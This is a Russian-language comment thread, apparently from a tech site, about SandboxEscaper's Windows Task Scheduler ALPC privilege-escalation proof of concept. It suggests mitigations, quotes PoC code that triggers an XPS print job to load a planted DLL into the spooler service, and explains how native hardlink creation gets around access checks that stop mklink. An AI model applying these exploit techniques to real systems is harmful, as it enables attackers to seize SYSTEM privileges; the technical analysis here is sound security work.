Comments 15
Если отобрать права на запись на /windows/tasks у обычных пользователей — то все ок?
Непонятно что это может поломать при штатной работе.
Я бы попробовал оставить права на запись только пользователю SYSTEM. Но нужно будет это откатывать после фикса, когда MS станет имперсонироваться перед операцией в этой директории.
Либо накатить патч от сторонних разработчиков.
ИМХО, пример с dll-кой от XPS-принтера — более чем никакой, с другой стороны — «хакер», вероятнее всего, никогда не дождется запуска своего кода из подменённой dll-ки…
Не хватает опроса на тему «Как часто Вы пользуетесь виртуальным XPS-принтером от Microsoft?»
Не хватает опроса на тему «Как часто Вы пользуетесь виртуальным XPS-принтером от Microsoft?»
Печать XPS-принтером инициируется програмно (ALPC-TaskSched-LPE.cpp@120):
//After writing PrintConfig.dll we start an XpsPrintJob to load the dll into the print spooler service.
CoInitialize(nullptr);
IXpsOMObjectFactory *xpsFactory = NULL;
CoCreateInstance(__uuidof(XpsOMObjectFactory), NULL, CLSCTX_INPROC_SERVER, __uuidof(IXpsOMObjectFactory), reinterpret_cast<LPVOID*>(&xpsFactory));
HANDLE completionEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
IXpsPrintJob *job = NULL;
IXpsPrintJobStream *jobStream = NULL;
StartXpsPrintJob(L"Microsoft XPS Document Writer", L"Print Job 1", NULL, NULL, completionEvent, NULL, 0, &job, &jobStream, NULL);
jobStream->Close();
CoUninitialize();
.
Хочу заметить, что создание hardlink для файла, доступ к к-рому только read/execute, запрещено.
C:\Users\aleksey>mklink /H c:\WINDOWS\Tasks\23 23
Hardlink created for c:\WINDOWS\Tasks\23 <<===>> 23
C:\Users\aleksey>mklink /H c:\WINDOWS\Tasks\explorer.exe c:\WINDOWS\explorer.exe
Access is denied.
C:\Users\aleksey>mklink /H c:\WINDOWS\Tasks\w32time.dll c:\WINDOWS\System32\w32time.dll
Access is denied.
Проблема скорее всего в том, что встроенная команда mklink использует Win32-функцию CreateHardLink. Ее реализация открывает существующий файл с правом FILE_WRITE_ATTRIBUTES ( == 0x100 ) — декомпиляция файла версии 10.0.18204.1001:
if ( !RtlDosPathNameToNtPathName_U(lpExistingFileName, &ExistingFileNativeName, 0, 0) )
goto LABEL_29;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.ObjectName = &ExistingFileNativeName;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
if ( lpSecurityAttributes )
ObjectAttributes.SecurityDescriptor = lpSecurityAttributes->lpSecurityDescriptor;
Status = NtOpenFile(&FileHandle, 0x100100u, &ObjectAttributes, &IoStatusBlock, 7u, 0x204020u);
Однако для вызова NtSetInformationFile с аргументом FileLinkInformation (то есть для создания hardlink'а нативными функциями) файл можно открыть вообще с любыми правами (=0), чем пользуется PoC (Hardlink.cpp@91):
HANDLE hFile = OpenFileNative(full_targetname.c_str(), nullptr, MAXIMUM_ALLOWED, FILE_SHARE_READ, 0);
if (hFile)
{
DEFINE_NTDLL(ZwSetInformationFile);
IO_STATUS_BLOCK io_status = { 0 };
NTSTATUS status = fZwSetInformationFile(hFile, &io_status, link_info, link_info.size(), FileLinkInformation);
CloseHandle(hFile);
if (NT_SUCCESS(status))
{
return true;
}
}
Кстати, если кому-то интересно, я переписал код PoC.
1. Вместо довольно странного метода инжекта библиотеки в процесс, для простой демонстрации я переделал проект в .exe.
2. Я добавил корректное формирование пути, теперь всё будет работать, даже если ОС установлена не в стандартную папку C:\Windows.
3. Переписал код для лучшего понимания.
Код на GitHub
1. Вместо довольно странного метода инжекта библиотеки в процесс, для простой демонстрации я переделал проект в .exe.
2. Я добавил корректное формирование пути, теперь всё будет работать, даже если ОС установлена не в стандартную папку C:\Windows.
3. Переписал код для лучшего понимания.
Код на GitHub
Sign up to leave a comment.
SandboxEscaper/PoC-LPE: что внутри?